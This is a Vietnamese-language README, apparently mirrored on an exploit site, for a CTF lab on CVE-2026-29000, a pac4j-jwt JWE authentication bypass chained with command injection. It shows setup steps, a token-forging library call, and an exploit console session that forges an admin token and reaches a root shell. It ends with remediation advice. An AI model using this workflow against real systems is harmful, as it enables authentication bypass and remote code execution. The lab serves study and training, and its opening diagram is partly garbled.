Share
## https://sploitus.com/exploit?id=7FF2DADE-BC21-50F3-BE1F-3212F581C7CF
# CVE-2026-29000 — pac4j-jwt JWE Authentication Bypass
> **Lab CTF nghiên cứu lỗ hổng xác thực JWE trong thư viện pac4j-jwt**
> CVSS 9.8 (Critical) · CWE-287 · Ảnh hưởng: pac4j-jwt ← shell=True, unsanitized
↓ RCE
cat /flag.txt
```
---
## Cấu trúc project
```
CVE-2026-29000/
├── lab/ # Target – Flask app (NexusBank Employee Portal)
│ ├── app.py # Ứng dụng chính (vulnerable)
│ ├── Dockerfile # Flag baked vào /flag.txt lúc build
│ └── requirements.txt
│
├── token_forge/ # Thư viện Python tạo JWE token giả mạo
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py # Xây dựng JWE
│ ├── keys.py # Load RSA key từ JWKS URL / file / PEM
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # Interactive exploit console (Metasploit-style)
│
├── poc/ # Java PoC – xác nhận bypass in-process
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/ # Pytest unit tests cho token_forge
├── docker-compose.yml
└── requirements.txt
```
---
## Yêu cầu
| Công cụ | Phiên bản | Ghi chú |
|---------|-----------|---------|
| Docker Desktop | 24+ | Chạy lab |
| Docker Compose | v2+ | Tích hợp trong Docker Desktop |
| Python | 3.11+ | Chạy exploit + token_forge |
| Java + Maven | 11+ | Chỉ cần cho Java PoC |
---
## Cài đặt
### 1. Clone repo
```bash
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
```
### 2. Cài Python dependencies
```bash
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
```
### 3. Khởi động lab (Docker)
```bash
docker compose up -d lab
```
Xác nhận lab chạy:
```bash
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
```
> **Tuỳ chỉnh flag:**
> ```bash
> docker compose build --build-arg FLAG="CTF{custom_flag}" lab
> docker compose up -d lab
> ```
### 4. Dừng lab
```bash
docker compose down
```
---
## Khai thác – Interactive Console (exploit.py)
`exploit.py` là interactive console theo phong cách Metasploit. Người chơi **tự recon** để tìm thông tin, sau đó cấu hình và khai thác.
```bash
python scripts/exploit.py
# Hoặc pre-set từ command line:
python scripts/exploit.py --rhost localhost --rport 8080
```
**Giao diện console:**
```
Module Options (exploit/cve_2026_29000/jwe_bypass)
Name Value Required Description
RHOST yes Target host or IP address
RPORT 8080 yes Target port
SSL false no Use HTTPS (true/false)
PUBKEY yes JWKS URL | path to JWK file | raw JWK JSON
SUBJECT pwned no JWT subject claim
ROLES ROLE_ADMIN no Comma-separated roles
jwe-bypass >
```
**Workflow:**
```
jwe-bypass > set RHOST localhost
jwe-bypass > set PUBKEY http://localhost:8080/.well-known/jwks.json
jwe-bypass > check ← kiểm tra target, phát hiện pac4j version
jwe-bypass > run ← forge token → bypass → RCE shell
rce@localhost $ id
uid=0(root) gid=0(root) groups=0(root)
rce@localhost $ cat /flag.txt
FLAG{CVE_2026_29000_jwe_bypass_to_rce_nexusbank_pwned}
```
**PUBKEY hỗ trợ 3 định dạng:**
```bash
# 1. JWKS URL (khuyến dùng – tự fetch)
set PUBKEY http://localhost:8080/.well-known/jwks.json
# 2. File đã download về
set PUBKEY /tmp/key.json
# 3. Paste trực tiếp JSON
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
```
## Sử dụng token_forge như thư viện Python
```python
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://localhost:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
```
---
## Java PoC (in-process)
Xác nhận bypass trực tiếp trong JVM bằng Nimbus JOSE + pac4j 6.0.3:
```bash
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# Chỉ in token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
```
---
## Chạy tests
```bash
pytest tests/ -v
# Với coverage report
pytest tests/ -v --cov=token_forge --cov-report=term-missing
```
---
## Khắc phục
| Biện pháp | Chi tiết |
|-----------|---------|
| Nâng cấp pac4j-jwt | Lên >= 6.3.3 / 5.7.9 / 4.5.9 |
| Sửa command injection | Dùng `shell=False`, truyền list thay string |
| Input validation | Whitelist ký tự hợp lệ cho tham số `host` |
| Xóa version header | Tắt `X-Powered-By` trong production |
| Least privilege | Không chạy container với quyền root |
---
## Tài liệu tham khảo
- [pac4j Security Advisory](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html)
- [RFC 7516 — JSON Web Encryption (JWE)](https://datatracker.ietf.org/doc/html/rfc7516)
- [RFC 7519 — JSON Web Token (JWT)](https://datatracker.ietf.org/doc/html/rfc7519)
- [RFC 8414 — OIDC Discovery](https://datatracker.ietf.org/doc/html/rfc8414)
- [CWE-287 — Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
- [CWE-78 — OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
---